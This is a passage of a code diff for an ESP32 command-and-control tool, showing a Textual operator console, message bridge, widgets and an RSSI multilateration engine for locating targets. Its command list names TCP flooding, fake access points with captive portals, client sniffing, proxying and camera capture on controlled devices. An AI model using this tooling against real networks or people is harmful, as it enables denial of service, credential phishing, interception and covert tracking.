frame_count += 1
print(f"[{addr[0]}:{addr[1]}] END (frame #{frame_count} complete)")
else:
print(f"[{addr[0]}:{addr[1]}] CHUNK: {len(payload)} bytes")
else:
print(f"[{addr[0]}:{addr[1]}] INVALID TOKEN: {data[:20]}...")
# Stats every 100 packets
if packet_count % 100 == 0:
print(f"\n--- Stats: {packet_count} packets, {frame_count} frames ---\n")
except KeyboardInterrupt:
print(f"\n[UDP] Stopped. Total: {packet_count} packets, {frame_count} frames")
finally:
sock.close()
if __name__ == "__main__":
main()

4
tools/c2/tui/__init__.py Normal file
View File

@ -0,0 +1,4 @@
from tui.app import C3POApp
from tui.bridge import tui_bridge, TUIMessage, MessageType
__all__ = ["C3POApp", "tui_bridge", "TUIMessage", "MessageType"]

295
tools/c2/tui/app.py Normal file
View File

@ -0,0 +1,295 @@
"""
Main C3PO TUI Application using Textual.
Multi-device view: all connected devices visible simultaneously.
"""
import time
from pathlib import Path
from textual.app import App, ComposeResult
from textual.binding import Binding
from textual.containers import Horizontal, Vertical, Container, ScrollableContainer
from textual.widgets import Static
from tui.bridge import tui_bridge, TUIMessage, MessageType
from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane
from tui.widgets.command_input import CommandInput
from tui.widgets.device_tabs import DeviceTabs
class DeviceContainer(Container):
"""Container for a single device with border and title."""
DEFAULT_CSS = """
DeviceContainer {
height: 1fr;
min-height: 6;
border: solid $secondary;
border-title-color: $text;
border-title-style: bold;
}
"""
def __init__(self, device_id: str, **kwargs):
super().__init__(**kwargs)
self.device_id = device_id
self.border_title = f"DEVICE: {device_id}"
class C3POApp(App):
"""C3PO Command & Control TUI Application."""
CSS_PATH = Path(__file__).parent / "styles" / "c2.tcss"
BINDINGS = [
Binding("alt+g", "toggle_global", "Global", show=True),
Binding("ctrl+l", "clear_global", "Clear", show=True),
Binding("ctrl+q", "quit", "Quit", show=True),
Binding("escape", "focus_input", "Input", show=False),
Binding("tab", "tab_complete", show=False, priority=True),
]
def __init__(self, registry=None, cli=None, **kwargs):
super().__init__(**kwargs)
self.registry = registry
self.cli = cli
self._device_panes: dict[str, DeviceLogPane] = {}
self._device_containers: dict[str, DeviceContainer] = {}
self._device_modules: dict[str, str] = {}
def compose(self) -> ComposeResult:
yield DeviceTabs(id="tab-bar")
with Horizontal(id="main-content"):
# Left side: all devices stacked vertically
with Vertical(id="devices-panel"):
yield Static("Waiting for devices...", id="no-device-placeholder")
# Right side: global logs
with Container(id="global-log-container") as global_container:
global_container.border_title = "GLOBAL LOGS"
yield GlobalLogPane(id="global-log")
with Vertical(id="input-container"):
yield Static(
"Alt+G:Toggle Global ^L:Clear Logs ^Q:Quit Tab:Complete",
id="shortcuts-bar"
)
yield CommandInput(id="command-input")
def on_mount(self) -> None:
"""Called when app is mounted."""
tui_bridge.set_app(self)
self.set_interval(0.1, self.process_bridge_queue)
cmd_input = self.query_one("#command-input", CommandInput)
if self.cli:
cmd_input.set_completer(self._make_completer())
cmd_input.focus()
global_log = self.query_one("#global-log", GlobalLogPane)
global_log.add_system(self._timestamp(), "C3PO TUI initialized - Multi-device view")
def _make_completer(self):
"""Create a completer function that works without readline."""
ESP_COMMANDS = [
"system_reboot", "system_mem", "system_uptime", "system_info",
"ping", "arp_scan", "proxy_start", "proxy_stop", "dos_tcp",
"fakeap_start", "fakeap_stop", "fakeap_status", "fakeap_clients",
"fakeap_portal_start", "fakeap_portal_stop",
"fakeap_sniffer_on", "fakeap_sniffer_off",
"cam_start", "cam_stop", "mlat", "trilat",
]
def completer(text: str, state: int) -> str | None:
if not self.cli:
return None
cmd_input = self.query_one("#command-input", CommandInput)
buffer = cmd_input.value
parts = buffer.split()
options = []
if len(parts) <= 1 and not buffer.endswith(" "):
options = ["send", "list", "modules", "group", "help", "clear", "exit",
"active_commands", "web", "camera"]
elif parts[0] == "send":
if len(parts) == 2 and not buffer.endswith(" "):
options = ["all", "group"] + self.cli.registry.ids()
elif len(parts) == 2 and buffer.endswith(" "):
options = ["all", "group"] + self.cli.registry.ids()
elif len(parts) == 3 and parts[1] == "group" and not buffer.endswith(" "):
options = list(self.cli.groups.all_groups().keys())
elif len(parts) == 3 and parts[1] == "group" and buffer.endswith(" "):
options = ESP_COMMANDS
elif len(parts) == 3 and parts[1] != "group":
options = ESP_COMMANDS
elif len(parts) == 4 and parts[1] == "group":
options = ESP_COMMANDS
elif parts[0] == "web":
if len(parts) <= 2:
options = ["start", "stop", "status"]
elif parts[0] == "camera":
if len(parts) <= 2:
options = ["start", "stop", "status"]
elif parts[0] == "group":
if len(parts) == 2 and not buffer.endswith(" "):
options = ["add", "remove", "list", "show"]
elif len(parts) == 2 and buffer.endswith(" "):
options = ["add", "remove", "list", "show"]
elif parts[1] in ("remove", "show") and len(parts) >= 3:
options = list(self.cli.groups.all_groups().keys())
elif parts[1] == "add" and len(parts) >= 3:
options = self.cli.registry.ids()
matches = [o for o in options if o.startswith(text)]
return matches[state] if state < len(matches) else None
return completer
def _timestamp(self) -> str:
return time.strftime("%H:%M:%S")
def process_bridge_queue(self) -> None:
for msg in tui_bridge.get_pending_messages():
self._handle_tui_message(msg)
def _handle_tui_message(self, msg: TUIMessage) -> None:
global_log = self.query_one("#global-log", GlobalLogPane)
timestamp = time.strftime("%H:%M:%S", time.localtime(msg.timestamp))
if msg.msg_type == MessageType.SYSTEM_MESSAGE:
global_log.add_system(timestamp, msg.payload)
elif msg.msg_type == MessageType.DEVICE_CONNECTED:
global_log.add_system(timestamp, f"{msg.device_id} connected")
self._add_device_pane(msg.device_id)
tabs = self.query_one("#tab-bar", DeviceTabs)
tabs.add_device(msg.device_id)
elif msg.msg_type == MessageType.DEVICE_RECONNECTED:
global_log.add_system(timestamp, f"{msg.device_id} reconnected")
elif msg.msg_type == MessageType.DEVICE_INFO_UPDATED:
self._device_modules[msg.device_id] = msg.payload
global_log.add_system(timestamp, f"{msg.device_id} modules: {msg.payload}")
self._update_device_title(msg.device_id)
elif msg.msg_type == MessageType.DEVICE_DISCONNECTED:
global_log.add_system(timestamp, f"{msg.device_id} disconnected")
self._remove_device_pane(msg.device_id)
tabs = self.query_one("#tab-bar", DeviceTabs)
tabs.remove_device(msg.device_id)
elif msg.msg_type == MessageType.DEVICE_EVENT:
global_log.add_device_event(timestamp, msg.device_id, msg.payload)
if msg.device_id in self._device_panes:
event_type = self._detect_event_type(msg.payload)
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, event_type)
elif msg.msg_type == MessageType.COMMAND_SENT:
global_log.add_command_sent(timestamp, msg.device_id, msg.payload, msg.request_id)
if msg.device_id in self._device_panes:
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_sent")
elif msg.msg_type == MessageType.COMMAND_RESPONSE:
global_log.add_command_response(timestamp, msg.device_id, msg.payload, msg.request_id)
if msg.device_id in self._device_panes:
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_resp")
elif msg.msg_type == MessageType.ERROR:
global_log.add_error(timestamp, msg.payload)
def _detect_event_type(self, payload: str) -> str:
payload_upper = payload.upper()
if payload_upper.startswith("INFO:"):
return "info"
elif payload_upper.startswith("LOG:"):
return "log"
elif payload_upper.startswith("ERROR:"):
return "error"
elif payload_upper.startswith("DATA:"):
return "data"
return "info"
def _add_device_pane(self, device_id: str) -> None:
"""Add a new device pane (visible immediately)."""
if device_id in self._device_panes:
return
# Hide placeholder
placeholder = self.query_one("#no-device-placeholder", Static)
placeholder.display = False
# Create container with border for this device
container = DeviceContainer(device_id, id=f"device-container-{device_id}")
pane = DeviceLogPane(device_id, id=f"device-pane-{device_id}")
self._device_containers[device_id] = container
self._device_panes[device_id] = pane
# Mount in the devices panel
devices_panel = self.query_one("#devices-panel", Vertical)
devices_panel.mount(container)
container.mount(pane)
def _remove_device_pane(self, device_id: str) -> None:
"""Remove a device pane."""
if device_id in self._device_containers:
container = self._device_containers.pop(device_id)
container.remove()
self._device_panes.pop(device_id, None)
self._device_modules.pop(device_id, None)
# Show placeholder if no devices
if not self._device_containers:
placeholder = self.query_one("#no-device-placeholder", Static)
placeholder.display = True
def _update_device_title(self, device_id: str) -> None:
"""Update device container title with modules info."""
if device_id in self._device_containers:
modules = self._device_modules.get(device_id, "")
container = self._device_containers[device_id]
if modules:
container.border_title = f"DEVICE: {device_id} [{modules}]"
else:
container.border_title = f"DEVICE: {device_id}"
def on_command_input_completions_available(self, event: CommandInput.CompletionsAvailable) -> None:
global_log = self.query_one("#global-log", GlobalLogPane)
completions_str = " ".join(event.completions)
global_log.add_system(self._timestamp(), f"Completions: {completions_str}")
def on_command_input_command_submitted(self, event: CommandInput.CommandSubmitted) -> None:
command = event.command
global_log = self.query_one("#global-log", GlobalLogPane)
global_log.add_system(self._timestamp(), f"Executing: {command}")
if self.cli:
try:
self.cli.execute_command(command)
except Exception as e:
global_log.add_error(self._timestamp(), f"Command error: {e}")
def action_toggle_global(self) -> None:
"""Toggle global logs pane visibility."""
global_container = self.query_one("#global-log-container", Container)
global_container.display = not global_container.display
def action_clear_global(self) -> None:
"""Clear global logs pane only."""
global_log = self.query_one("#global-log", GlobalLogPane)
global_log.clear()
def action_focus_input(self) -> None:
self.query_one("#command-input", CommandInput).focus()
def action_tab_complete(self) -> None:
cmd_input = self.query_one("#command-input", CommandInput)
cmd_input.focus()
cmd_input._handle_tab_completion()

65
tools/c2/tui/bridge.py Normal file
View File

@ -0,0 +1,65 @@
"""
Thread-safe bridge between sync threads and async Textual TUI.
"""
import queue
import time
from dataclasses import dataclass, field
from enum import Enum
from typing import Optional, Any
class MessageType(Enum):
DEVICE_CONNECTED = "device_connected"
DEVICE_DISCONNECTED = "device_disconnected"
DEVICE_RECONNECTED = "device_reconnected"
DEVICE_INFO_UPDATED = "device_info_updated"
DEVICE_EVENT = "device_event"
COMMAND_SENT = "command_sent"
COMMAND_RESPONSE = "command_response"
SYSTEM_MESSAGE = "system_message"
ERROR = "error"
@dataclass
class TUIMessage:
"""Message from sync thread to async TUI."""
msg_type: MessageType
payload: str
timestamp: float = field(default_factory=time.time)
device_id: Optional[str] = None
request_id: Optional[str] = None
class TUIBridge:
"""Thread-safe bridge between sync threads and async Textual app."""
def __init__(self):
self._queue: queue.Queue[TUIMessage] = queue.Queue()
self._app: Any = None
def set_app(self, app):
"""Called by TUI app on startup."""
self._app = app
def post_message(self, msg: TUIMessage):
"""Called by sync threads (Display class)."""
self._queue.put(msg)
if self._app:
try:
self._app.call_from_thread(self._app.process_bridge_queue)
except Exception:
pass
def get_pending_messages(self) -> list[TUIMessage]:
"""Called by async TUI to drain the queue."""
messages = []
while True:
try:
messages.append(self._queue.get_nowait())
except queue.Empty:
break
return messages
# Global bridge instance
tui_bridge = TUIBridge()

119
tools/c2/tui/styles/c2.tcss Normal file
View File

@ -0,0 +1,119 @@
/* C3PO TUI Stylesheet - Multi-device view */
Screen {
background: $surface;
}
/* Header/Tab bar */
#tab-bar {
height: 1;
dock: top;
background: $surface-darken-1;
}
/* Main content area */
#main-content {
height: 1fr;
}
/* Left panel: all devices stacked */
#devices-panel {
width: 1fr;
min-width: 30;
}
#no-device-placeholder {
width: 100%;
height: 100%;
content-align: center middle;
color: $text-muted;
}
/* Right panel: global logs */
#global-log-container {
width: 1fr;
min-width: 30;
border: solid $primary;
border-title-color: $text;
border-title-style: bold;
}
/* Input area */
#input-container {
height: 3;
dock: bottom;
background: $surface-darken-1;
border-top: solid $primary;
padding: 0;
}
#command-input {
width: 1fr;
height: 1;
margin: 0;
padding: 0 1;
}
#shortcuts-bar {
height: 1;
width: 100%;
background: $surface-darken-2;
color: $text-muted;
padding: 0 1;
}
/* Device containers - each device in its own bordered box */
DeviceContainer {
height: 1fr;
min-height: 5;
border: solid $secondary;
border-title-color: $text;
border-title-style: bold;
margin-bottom: 0;
}
/* Log pane inside device container */
DeviceLogPane {
height: 100%;
scrollbar-size: 1 1;
}
/* Global log pane */
GlobalLogPane {
height: 100%;
scrollbar-size: 1 1;
}
/* Log colors */
.log-system {
color: cyan;
}
.log-device {
color: yellow;
}
.log-error {
color: red;
}
.log-command {
color: blue;
}
.log-response {
color: green;
}
/* Status indicator */
.status-connected {
color: green;
}
.status-inactive {
color: yellow;
}
.status-disconnected {
color: red;
}

View File

@ -0,0 +1,5 @@
from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane
from tui.widgets.command_input import CommandInput
from tui.widgets.device_tabs import DeviceTabs
__all__ = ["GlobalLogPane", "DeviceLogPane", "CommandInput", "DeviceTabs"]

View File

@ -0,0 +1,215 @@
"""
Command input widget with history and zsh-style tab completion.
"""
from textual.widgets import Input
from textual.message import Message
from typing import Callable, Optional
class CommandInput(Input):
"""Command input with history and zsh-style tab completion."""
DEFAULT_CSS = """
CommandInput {
dock: bottom;
height: 1;
border: none;
background: $surface;
padding: 0 1;
}
CommandInput:focus {
border: none;
}
"""
class CommandSubmitted(Message):
"""Posted when a command is submitted."""
def __init__(self, command: str):
self.command = command
super().__init__()
class CompletionsAvailable(Message):
"""Posted when multiple completions are available."""
def __init__(self, completions: list[str], word: str):
self.completions = completions
self.word = word
super().__init__()
def __init__(self, **kwargs):
super().__init__(
placeholder="c2:> Type command here...",
**kwargs
)
self._history: list[str] = []
self._history_index: int = -1
self._current_input: str = ""
self._completer: Optional[Callable[[str, int], Optional[str]]] = None
self._last_completion_text: str = ""
self._last_completions: list[str] = []
self._completion_cycle_index: int = 0
def set_completer(self, completer: Callable[[str, int], Optional[str]]):
"""Set the tab completion function (same signature as readline completer)."""
self._completer = completer
def on_key(self, event) -> None:
"""Handle special keys for history and completion."""
if event.key == "up":
event.prevent_default()
self._navigate_history(-1)
elif event.key == "down":
event.prevent_default()
self._navigate_history(1)
elif event.key == "tab":
event.prevent_default()
self._handle_tab_completion()
def _get_all_completions(self, word: str) -> list[str]:
"""Get all possible completions for a word."""
if not self._completer:
return []
completions = []
state = 0
while True:
completion = self._completer(word, state)
if completion is None:
break
completions.append(completion)
state += 1
return completions
def _find_common_prefix(self, strings: list[str]) -> str:
"""Find the longest common prefix among strings."""
if not strings:
return ""
if len(strings) == 1:
return strings[0]
prefix = strings[0]
for s in strings[1:]:
while not s.startswith(prefix):
prefix = prefix[:-1]
if not prefix:
return ""
return prefix
def _handle_tab_completion(self):
"""Handle zsh-style tab completion."""
if not self._completer:
return
current_text = self.value
cursor_pos = self.cursor_position
# Get the word being completed
text_before_cursor = current_text[:cursor_pos]
parts = text_before_cursor.split()
if not parts:
word_to_complete = ""
elif text_before_cursor.endswith(" "):
word_to_complete = ""
else:
word_to_complete = parts[-1]
# Check if context changed (new completion session)
context_changed = text_before_cursor != self._last_completion_text
if context_changed:
# New completion session - get all completions
self._last_completions = self._get_all_completions(word_to_complete)
self._completion_cycle_index = 0
self._last_completion_text = text_before_cursor
if not self._last_completions:
# No completions
return
if len(self._last_completions) == 1:
# Single match - complete directly
self._apply_completion(self._last_completions[0], word_to_complete, cursor_pos)
self._last_completions = []
return
# Multiple matches - complete to common prefix and show options
common_prefix = self._find_common_prefix(self._last_completions)
if common_prefix and len(common_prefix) > len(word_to_complete):
# Complete to common prefix
self._apply_completion(common_prefix, word_to_complete, cursor_pos)
# Show all completions
self.post_message(self.CompletionsAvailable(
self._last_completions.copy(),
word_to_complete
))
else:
# Same context - cycle through completions
if not self._last_completions:
return
# Get next completion in cycle
completion = self._last_completions[self._completion_cycle_index]
self._apply_completion(completion, word_to_complete, cursor_pos)
# Advance cycle
self._completion_cycle_index = (self._completion_cycle_index + 1) % len(self._last_completions)
def _apply_completion(self, completion: str, word_to_complete: str, cursor_pos: int):
"""Apply a completion to the input."""
current_text = self.value
text_before_cursor = current_text[:cursor_pos]
if word_to_complete:
prefix = text_before_cursor[:-len(word_to_complete)]
else:
prefix = text_before_cursor
new_text = prefix + completion + current_text[cursor_pos:]
new_cursor = len(prefix) + len(completion)
self.value = new_text
self.cursor_position = new_cursor
self._last_completion_text = new_text[:new_cursor]
def _navigate_history(self, direction: int):
"""Navigate through command history."""
if not self._history:
return
if self._history_index == -1:
self._current_input = self.value
new_index = self._history_index + direction
if new_index < -1:
new_index = -1
elif new_index >= len(self._history):
new_index = len(self._history) - 1
self._history_index = new_index
if self._history_index == -1:
self.value = self._current_input
else:
self.value = self._history[-(self._history_index + 1)]
self.cursor_position = len(self.value)
def action_submit(self) -> None:
"""Submit the current command."""
command = self.value.strip()
if command:
self._history.append(command)
if len(self._history) > 100:
self._history.pop(0)
self.post_message(self.CommandSubmitted(command))
self.value = ""
self._history_index = -1
self._current_input = ""
self._last_completions = []
self._completion_cycle_index = 0
self._last_completion_text = ""

View File

@ -0,0 +1,159 @@
"""
Dynamic device tabs widget.
"""
from textual.widgets import Static, Button
from textual.containers import Horizontal
from textual.message import Message
from textual.reactive import reactive
class DeviceTabs(Horizontal):
"""Tab bar for device switching with dynamic updates."""
DEFAULT_CSS = """
DeviceTabs {
height: 1;
width: 100%;
background: $surface;
padding: 0;
}
DeviceTabs .tab-label {
padding: 0 1;
height: 1;
min-width: 8;
}
DeviceTabs .tab-label.active {
background: $primary;
color: $text;
text-style: bold;
}
DeviceTabs .tab-label:hover {
background: $primary-darken-1;
}
DeviceTabs .header-label {
padding: 0 1;
height: 1;
color: $text-muted;
}
DeviceTabs .separator {
padding: 0;
height: 1;
color: $text-muted;
}
DeviceTabs .device-count {
dock: right;
padding: 0 1;
height: 1;
color: $text-muted;
}
"""
active_tab: reactive[str] = reactive("global")
devices_hidden: reactive[bool] = reactive(False)
class TabSelected(Message):
"""Posted when a tab is selected."""
def __init__(self, tab_id: str, device_id: str | None = None):
self.tab_id = tab_id
self.device_id = device_id
super().__init__()
def __init__(self, **kwargs):
super().__init__(**kwargs)
self._devices: list[str] = []
def compose(self):
yield Static("C3PO", classes="header-label", id="c3po-label")
yield Static(" \u2500 ", classes="separator")
yield Static("[G]lobal", classes="tab-label active", id="tab-global")
yield Static(" [H]ide", classes="tab-label", id="tab-hide")
yield Static("", classes="device-count", id="device-count")
def add_device(self, device_id: str):
"""Add a device tab."""
if device_id not in self._devices:
self._devices.append(device_id)
self._rebuild_tabs()
def remove_device(self, device_id: str):
"""Remove a device tab."""
if device_id in self._devices:
self._devices.remove(device_id)
if self.active_tab == device_id:
self.active_tab = "global"
self._rebuild_tabs()
def _rebuild_tabs(self):
"""Rebuild all tabs."""
for widget in list(self.children):
if hasattr(widget, 'id') and widget.id and widget.id.startswith("tab-device-"):
widget.remove()
hide_tab = self.query_one("#tab-hide", Static)
for i, device_id in enumerate(self._devices):
if i < 9:
label = f"[{i+1}]{device_id}"
tab = Static(
label,
classes="tab-label" + (" active" if self.active_tab == device_id else ""),
id=f"tab-device-{device_id}"
)
self.mount(tab, before=hide_tab)
count_label = self.query_one("#device-count", Static)
count_label.update(f"{len(self._devices)} device{'s' if len(self._devices) != 1 else ''}")
def select_tab(self, tab_id: str):
"""Select a tab by ID."""
if tab_id == "global":
self.active_tab = "global"
self.post_message(self.TabSelected("global"))
elif tab_id in self._devices:
self.active_tab = tab_id
self.post_message(self.TabSelected(tab_id, tab_id))
self._update_active_styles()
def select_by_index(self, index: int):
"""Select device tab by numeric index (1-9)."""
if 0 < index <= len(self._devices):
device_id = self._devices[index - 1]
self.select_tab(device_id)
def toggle_hide(self):
"""Toggle device panes visibility."""
self.devices_hidden = not self.devices_hidden
hide_tab = self.query_one("#tab-hide", Static)
hide_tab.update("[H]ide" if not self.devices_hidden else "[H]show")
def _update_active_styles(self):
"""Update tab styles to show active state."""
for tab in self.query(".tab-label"):
tab.remove_class("active")
if self.active_tab == "global":
self.query_one("#tab-global", Static).add_class("active")
else:
try:
self.query_one(f"#tab-device-{self.active_tab}", Static).add_class("active")
except Exception:
pass
def on_click(self, event) -> None:
"""Handle tab clicks."""
target = event.target
if hasattr(target, 'id') and target.id:
if target.id == "tab-global":
self.select_tab("global")
elif target.id == "tab-hide":
self.toggle_hide()
elif target.id.startswith("tab-device-"):
device_id = target.id.replace("tab-device-", "")
self.select_tab(device_id)

View File

@ -0,0 +1,117 @@
"""
Log pane widgets for displaying device and global logs.
"""
from textual.widgets import RichLog
from rich.text import Text
class GlobalLogPane(RichLog):
"""Combined log view for all devices and system messages."""
DEFAULT_CSS = """
GlobalLogPane {
border: solid $primary;
height: 100%;
scrollbar-size: 1 1;
}
"""
def __init__(self, **kwargs):
super().__init__(
highlight=True,
markup=True,
wrap=True,
max_lines=5000,
**kwargs
)
def add_system(self, timestamp: str, message: str):
"""Add a system message."""
text = Text()
text.append(f"{timestamp} ", style="dim")
text.append("[SYS] ", style="cyan bold")
text.append(message)
self.write(text)
def add_device_event(self, timestamp: str, device_id: str, event: str):
"""Add a device event."""
text = Text()
text.append(f"{timestamp} ", style="dim")
text.append(f"[{device_id}] ", style="yellow")
text.append(event)
self.write(text)
def add_command_sent(self, timestamp: str, device_id: str, command: str, request_id: str):
"""Add a command sent message."""
text = Text()
text.append(f"{timestamp} ", style="dim")
text.append("[CMD] ", style="blue bold")
text.append(f"{command} ", style="blue")
text.append(f"-> {device_id}", style="dim")
self.write(text)
def add_command_response(self, timestamp: str, device_id: str, response: str, request_id: str):
"""Add a command response."""
text = Text()
text.append(f"{timestamp} ", style="dim")
text.append(f"[{device_id}] ", style="green")
text.append(response, style="green")
self.write(text)
def add_error(self, timestamp: str, message: str):
"""Add an error message."""
text = Text()
text.append(f"{timestamp} ", style="dim")
text.append("[ERR] ", style="red bold")
text.append(message, style="red")
self.write(text)
class DeviceLogPane(RichLog):
"""Per-device log display with filtering."""
DEFAULT_CSS = """
DeviceLogPane {
height: 100%;
scrollbar-size: 1 1;
}
"""
def __init__(self, device_id: str, **kwargs):
super().__init__(
highlight=True,
markup=True,
wrap=True,
max_lines=2000,
**kwargs
)
self.device_id = device_id
def add_event(self, timestamp: str, event: str, event_type: str = "info"):
"""Add an event to this device's log."""
text = Text()
text.append(f"{timestamp} ", style="dim")
style_map = {
"info": "yellow",
"log": "white",
"error": "red",
"cmd_sent": "blue",
"cmd_resp": "green",
"data": "magenta",
}
style = style_map.get(event_type, "white")
prefix_map = {
"info": "> INFO: ",
"log": "> LOG: ",
"error": "> ERROR: ",
"cmd_sent": "> CMD: ",
"cmd_resp": "> RESP: ",
"data": "> DATA: ",
}
prefix = prefix_map.get(event_type, "> ")
text.append(prefix, style=f"{style} bold")
text.append(event, style=style)
self.write(text)

View File

@ -1,29 +1,115 @@
import time
from utils.constant import _color
# TUI bridge import (lazy to avoid circular imports)
_tui_bridge = None
def _get_bridge():
global _tui_bridge
if _tui_bridge is None:
try:
from tui.bridge import tui_bridge
_tui_bridge = tui_bridge
except ImportError:
_tui_bridge = False
return _tui_bridge if _tui_bridge else None
class Display:
_tui_mode = False
@classmethod
def enable_tui_mode(cls):
"""Enable TUI mode - routes output to TUI bridge instead of print."""
cls._tui_mode = True
@classmethod
def disable_tui_mode(cls):
"""Disable TUI mode - back to print output."""
cls._tui_mode = False
@staticmethod
def _timestamp() -> str:
return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
@staticmethod
def system_message(message: str):
if Display._tui_mode:
bridge = _get_bridge()
if bridge:
from tui.bridge import TUIMessage, MessageType
bridge.post_message(TUIMessage(
msg_type=MessageType.SYSTEM_MESSAGE,
payload=message
))
return
print(f"{Display._timestamp()} {_color('CYAN')}[SYSTEM]{_color('RESET')} {message}")
@staticmethod
def device_event(device_id: str, event: str):
if Display._tui_mode:
bridge = _get_bridge()
if bridge:
from tui.bridge import TUIMessage, MessageType
# Detect special events
if "Connected from" in event:
msg_type = MessageType.DEVICE_CONNECTED
elif "Reconnected from" in event:
msg_type = MessageType.DEVICE_RECONNECTED
elif event == "Disconnected":
msg_type = MessageType.DEVICE_DISCONNECTED
else:
msg_type = MessageType.DEVICE_EVENT
bridge.post_message(TUIMessage(
msg_type=msg_type,
device_id=device_id,
payload=event
))
return
print(f"{Display._timestamp()} {_color('YELLOW')}[DEVICE:{device_id}]{_color('RESET')} {event}")
@staticmethod
def command_sent(device_id: str, command_name: str, request_id: str):
if Display._tui_mode:
bridge = _get_bridge()
if bridge:
from tui.bridge import TUIMessage, MessageType
bridge.post_message(TUIMessage(
msg_type=MessageType.COMMAND_SENT,
device_id=device_id,
payload=command_name,
request_id=request_id
))
return
print(f"{Display._timestamp()} {_color('BLUE')}[CMD_SENT:{request_id}]{_color('RESET')} To {device_id}: {command_name}")
@staticmethod
def command_response(request_id: str, device_id: str, response: str):
if Display._tui_mode:
bridge = _get_bridge()
if bridge:
from tui.bridge import TUIMessage, MessageType
bridge.post_message(TUIMessage(
msg_type=MessageType.COMMAND_RESPONSE,
device_id=device_id,
payload=response,
request_id=request_id
))
return
print(f"{Display._timestamp()} {_color('GREEN')}[CMD_RESP:{request_id}]{_color('RESET')} From {device_id}: {response}")
@staticmethod
def error(message: str):
if Display._tui_mode:
bridge = _get_bridge()
if bridge:
from tui.bridge import TUIMessage, MessageType
bridge.post_message(TUIMessage(
msg_type=MessageType.ERROR,
payload=message
))
return
print(f"{Display._timestamp()} {_color('RED')}[ERROR]{_color('RESET')} {message}")
@staticmethod

6
tools/c2/web/__init__.py Normal file
View File

@ -0,0 +1,6 @@
"""Unified web server module for ESPILON C2."""
from .server import UnifiedWebServer
from .mlat import MlatEngine
__all__ = ["UnifiedWebServer", "MlatEngine"]

429
tools/c2/web/mlat.py Normal file
View File

@ -0,0 +1,429 @@
"""MLAT (Multilateration) engine for device positioning with GPS support."""
import time
import re
import math
from typing import Optional, Tuple
import numpy as np
from scipy.optimize import minimize
class MlatEngine:
"""
Calculates target position from multiple scanner RSSI readings.
Supports both:
- GPS coordinates (lat, lon) for outdoor tracking
- Local coordinates (x, y in meters) for indoor tracking
Uses the log-distance path loss model to convert RSSI to distance,
then weighted least squares optimization for position estimation.
"""
# Earth radius in meters (for GPS calculations)
EARTH_RADIUS = 6371000
def __init__(self, rssi_at_1m: float = -40, path_loss_n: float = 2.5, smoothing_window: int = 5):
"""
Initialize the MLAT engine.
Args:
rssi_at_1m: RSSI value at 1 meter distance (calibration, typically -40 to -50)
path_loss_n: Path loss exponent (2.0 free space, 2.5-3.5 indoors)
smoothing_window: Number of readings to average for noise reduction
"""
self.rssi_at_1m = rssi_at_1m
self.path_loss_n = path_loss_n
self.smoothing_window = smoothing_window
# Scanner data: {scanner_id: {"position": {"lat": x, "lon": y} or {"x": x, "y": y}, ...}}
self.scanners: dict = {}
# Last calculated target position
self._last_target: Optional[dict] = None
self._last_calculation: float = 0
# Coordinate mode: 'gps' or 'local'
self._coord_mode = 'gps'
@staticmethod
def haversine_distance(lat1: float, lon1: float, lat2: float, lon2: float) -> float:
"""
Calculate distance between two GPS points using Haversine formula.
Args:
lat1, lon1: First point (degrees)
lat2, lon2: Second point (degrees)
Returns:
Distance in meters
"""
lat1_rad = math.radians(lat1)
lat2_rad = math.radians(lat2)
delta_lat = math.radians(lat2 - lat1)
delta_lon = math.radians(lon2 - lon1)
a = (math.sin(delta_lat / 2) ** 2 +
math.cos(lat1_rad) * math.cos(lat2_rad) * math.sin(delta_lon / 2) ** 2)
c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))
return MlatEngine.EARTH_RADIUS * c
@staticmethod
def meters_to_degrees(meters: float, latitude: float) -> Tuple[float, float]:
"""
Convert meters to approximate degrees at a given latitude.
Args:
meters: Distance in meters
latitude: Reference latitude (for longitude scaling)
Returns:
(delta_lat, delta_lon) in degrees
"""
delta_lat = meters / 111320 # ~111.32 km per degree latitude
delta_lon = meters / (111320 * math.cos(math.radians(latitude)))
return delta_lat, delta_lon
def parse_mlat_message(self, scanner_id: str, message: str) -> bool:
"""
Parse MLAT message from ESP32 device.
New format with coordinate type prefix:
MLAT:G;<lat>;<lon>;<rssi> - GPS coordinates
MLAT:L;<x>;<y>;<rssi> - Local coordinates (meters)
Legacy format (backward compatible):
MLAT:<lat>;<lon>;<rssi> - Treated as GPS
Args:
scanner_id: Device ID that sent the message
message: Raw message content (without MLAT: prefix)
Returns:
True if successfully parsed, False otherwise
"""
# New format with type prefix: G;lat;lon;rssi or L;x;y;rssi
pattern_new = re.compile(r'^([GL]);([0-9.+-]+);([0-9.+-]+);(-?\d+)$')
match = pattern_new.match(message)
if match:
coord_type = match.group(1)
c1 = float(match.group(2))
c2 = float(match.group(3))
rssi = int(match.group(4))
if coord_type == 'G':
self.add_reading_gps(scanner_id, c1, c2, rssi)
else: # 'L' - local
self.add_reading(scanner_id, c1, c2, rssi)
return True
# Legacy format: lat;lon;rssi (backward compatible - treat as GPS)
pattern_legacy = re.compile(r'^([0-9.+-]+);([0-9.+-]+);(-?\d+)$')
match = pattern_legacy.match(message)
if match:
lat = float(match.group(1))
lon = float(match.group(2))
rssi = int(match.group(3))
self.add_reading_gps(scanner_id, lat, lon, rssi)
return True
return False
def parse_data(self, raw_data: str) -> int:
"""
Parse raw MLAT data from HTTP POST.
Format: SCANNER_ID;(lat,lon);rssi
Example: ESP3;(48.8566,2.3522);-45
Args:
raw_data: Raw text data with one or more readings
Returns:
Number of readings successfully processed
"""
pattern = re.compile(r'^(\w+);\(([0-9.+-]+),([0-9.+-]+)\);(-?\d+)$')
count = 0
timestamp = time.time()
for line in raw_data.strip().split('\n'):
line = line.strip()
if not line:
continue
match = pattern.match(line)
if match:
scanner_id = match.group(1)
lat = float(match.group(2))
lon = float(match.group(3))
rssi = int(match.group(4))
self.add_reading_gps(scanner_id, lat, lon, rssi, timestamp)
count += 1
return count
def add_reading_gps(self, scanner_id: str, lat: float, lon: float, rssi: int, timestamp: float = None):
"""
Add a new RSSI reading from a scanner with GPS coordinates.
Args:
scanner_id: Unique identifier for the scanner
lat: Latitude of the scanner
lon: Longitude of the scanner
rssi: RSSI value (negative dBm)
